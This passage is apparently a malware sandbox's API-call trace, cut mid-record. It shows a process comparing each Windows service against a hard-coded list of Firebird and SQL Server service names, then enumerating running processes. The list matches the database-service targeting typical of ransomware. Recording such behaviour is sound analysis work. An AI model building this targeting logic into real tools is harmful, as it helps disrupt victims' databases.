(lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0320.339] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0320.339] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0320.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0320.339] lstrlenW (lpString="LanmanServer") returned 12 [0320.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0320.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0320.339] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0320.339] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0320.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0320.339] lstrlenW (lpString="LanmanWorkstation") returned 17 [0320.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0320.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0320.339] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0320.339] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0320.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0320.339] lstrlenW (lpString="lfsvc") returned 5 [0320.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0320.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0320.340] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0320.340] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0320.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0320.340] lstrlenW (lpString="lmhosts") returned 7 [0320.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0320.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0320.340] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0320.340] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0320.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0320.340] lstrlenW (lpString="LSM") returned 3 [0320.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0320.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0320.340] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0320.340] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0320.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0320.340] lstrlenW (lpString="MapsBroker") returned 10 [0320.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0320.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0320.340] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0320.340] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0320.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0320.340] lstrlenW (lpString="MpsSvc") returned 6 [0320.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0320.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0320.340] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0320.340] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0320.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0320.340] lstrlenW (lpString="NcbService") returned 10 [0320.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0320.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0320.341] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0320.341] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0320.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0320.341] lstrlenW (lpString="netprofm") returned 8 [0320.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0320.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0320.341] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0320.341] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0320.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0320.341] lstrlenW (lpString="NgcSvc") returned 6 [0320.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0320.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0320.341] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0320.341] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0320.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0320.341] lstrlenW (lpString="NlaSvc") returned 6 [0320.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0320.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0320.341] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0320.341] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0320.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0320.341] lstrlenW (lpString="nsi") returned 3 [0320.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0320.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0320.341] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0320.341] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0320.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0320.341] lstrlenW (lpString="PcaSvc") returned 6 [0320.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0320.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0320.342] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0320.342] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0320.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0320.342] lstrlenW (lpString="PlugPlay") returned 8 [0320.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0320.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0320.342] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0320.342] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0320.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0320.342] lstrlenW (lpString="Power") returned 5 [0320.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0320.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0320.342] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0320.342] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0320.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0320.342] lstrlenW (lpString="ProfSvc") returned 7 [0320.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0320.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0320.342] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0320.342] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0320.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0320.342] lstrlenW (lpString="RpcEptMapper") returned 12 [0320.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0320.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0320.342] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0320.342] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0320.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0320.342] lstrlenW (lpString="RpcSs") returned 5 [0320.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0320.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0320.343] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0320.343] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0320.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0320.343] lstrlenW (lpString="SamSs") returned 5 [0320.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0320.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0320.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0320.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0320.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0320.343] lstrlenW (lpString="Schedule") returned 8 [0320.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0320.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0320.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0320.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0320.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0320.343] lstrlenW (lpString="SecurityHealthService") returned 21 [0320.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0320.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0320.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0320.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0320.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0320.343] lstrlenW (lpString="SENS") returned 4 [0320.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0320.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0320.343] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0320.343] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0320.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0320.344] lstrlenW (lpString="ShellHWDetection") returned 16 [0320.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0320.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0320.344] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0320.344] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0320.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0320.344] lstrlenW (lpString="Spooler") returned 7 [0320.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0320.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0320.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0320.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0320.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0320.344] lstrlenW (lpString="SSDPSRV") returned 7 [0320.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0320.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0320.344] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0320.344] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0320.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0320.344] lstrlenW (lpString="StateRepository") returned 15 [0320.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0320.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0320.344] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0320.344] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0320.344] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x51a308 | out: hHeap=0x490000) returned 1 [0320.344] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0320.347] Process32FirstW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0320.348] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x94, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0320.348] lstrlenW (lpString="System") returned 6 [0320.349] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0320.349] lstrlenW (lpString="smss.exe") returned 8 [0320.349] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0320.350] lstrlenW (lpString="csrss.exe") returned 9 [0320.350] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0320.351] lstrlenW (lpString="wininit.exe") returned 11 [0320.351] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0320.351] lstrlenW (lpString="csrss.exe") returned 9 [0320.351] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0320.997] lstrlenW (lpString="winlogon.exe") returned 12 [0320.997] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0320.998] lstrlenW (lpString="services.exe") returned 12 [0320.998] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0320.999] lstrlenW (lpString="lsass.exe") returned 9 [0320.999] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0320.999] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0321.000] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0321.000] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0321.000] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.001] lstrlenW (lpString="svchost.exe") returned 11 [0321.001] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.001] lstrlenW (lpString="svchost.exe") returned 11 [0321.001] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0321.002] lstrlenW (lpString="dwm.exe") returned 7 [0321.002] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.003] lstrlenW (lpString="svchost.exe") returned 11 [0321.003] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.003] lstrlenW (lpString="svchost.exe") returned 11 [0321.003] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.004] lstrlenW (lpString="svchost.exe") returned 11 [0321.004] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.005] lstrlenW (lpString="svchost.exe") returned 11 [0321.005] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.005] lstrlenW (lpString="svchost.exe") returned 11 [0321.005] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.006] lstrlenW (lpString="svchost.exe") returned 11 [0321.006] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.006] lstrlenW (lpString="svchost.exe") returned 11 [0321.007] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.007] lstrlenW (lpString="svchost.exe") returned 11 [0321.007] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.008] lstrlenW (lpString="svchost.exe") returned 11 [0321.008] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.009] lstrlenW (lpString="svchost.exe") returned 11 [0321.009] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0321.009] lstrlenW (lpString="spoolsv.exe") returned 11 [0321.009] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0321.010] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0321.010] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0321.010] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0321.011] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0321.011] lstrlenW (lpString="Memory Compression") returned 18 [0321.011] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.012] lstrlenW (lpString="svchost.exe") returned 11 [0321.012] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0321.012] lstrlenW (lpString="audiodg.exe") returned 11 [0321.012] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0321.013] lstrlenW (lpString="sihost.exe") returned 10 [0321.013] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.014] lstrlenW (lpString="svchost.exe") returned 11 [0321.014] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0321.015] lstrlenW (lpString="taskhostw.exe") returned 13 [0321.015] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0321.015] lstrlenW (lpString="explorer.exe") returned 12 [0321.016] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0321.016] lstrlenW (lpString="SearchUI.exe") returned 12 [0321.016] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0321.017] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0321.017] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0321.018] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0321.018] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa08, pcPriClassBase=8, 